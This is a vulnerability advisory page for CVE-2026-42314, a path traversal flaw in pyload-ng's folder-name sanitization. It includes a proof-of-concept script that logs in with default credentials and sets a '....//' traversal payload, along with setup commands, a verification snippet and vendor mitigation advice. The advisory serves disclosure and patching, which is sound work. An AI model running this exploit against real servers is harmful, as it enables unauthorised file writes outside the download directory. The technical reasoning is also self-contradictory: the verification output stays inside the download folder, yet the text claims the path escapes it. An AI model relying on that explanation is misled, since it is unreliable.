CVE-2026-42314 — pyload-ng
MEDIUMCVE-2026-42314 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
PyLoad Vulnerable to Path Traversal via Package Folder Name
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42314.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42314 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Insufficient sanitization of package folder names allows writing files outside the intended download directory.
Affected Component
src/pyload/core/api/__init__.py- Function:
add_package()
Description
Package folder names are sanitized using insufficient string replacement:
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace("../", "_") # Bypassable!
.replace("..\\", "_")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.
Proof of Concept
Setup
pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload
Exploit
#!/usr/bin/env python3
import requests
BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"
session = requests.Session()
# Login
session.post(f"{BASE_URL}/login", data={
"username": USERNAME,
"password": PASSWORD
})
# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"
resp = session.post(f"{BASE_URL}/api/add_package", json={
"name": "test_package",
"links": ["http://example.com/file.txt"],
"dest": 1 # Destination.QUEUE
})
package_id = resp.json()
print(f"Created package: {package_id}")
# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
"package_id": package_id,
"data": {"folder": folder_payload}
})
print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")
# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print(" The sanitized folder still contains '..' sequences that OS resolves")
Verification
Check where files would be written:
import os
download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"
# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil
# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil
# The .. sequences remain and could be resolved by OS during file operations
Impact
Authenticated users with ADD permission can:
- Write files outside the download directory
- Potentially overwrite system files (depending on permissions)
- Clutter system directories with downloaded content
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev100pip install --upgrade 'pyload-ng==0.5.0b3.dev100' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev100 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42314 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42314 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42314. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42314 in your dependencies?
O3 Security finds CVE-2026-42314 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.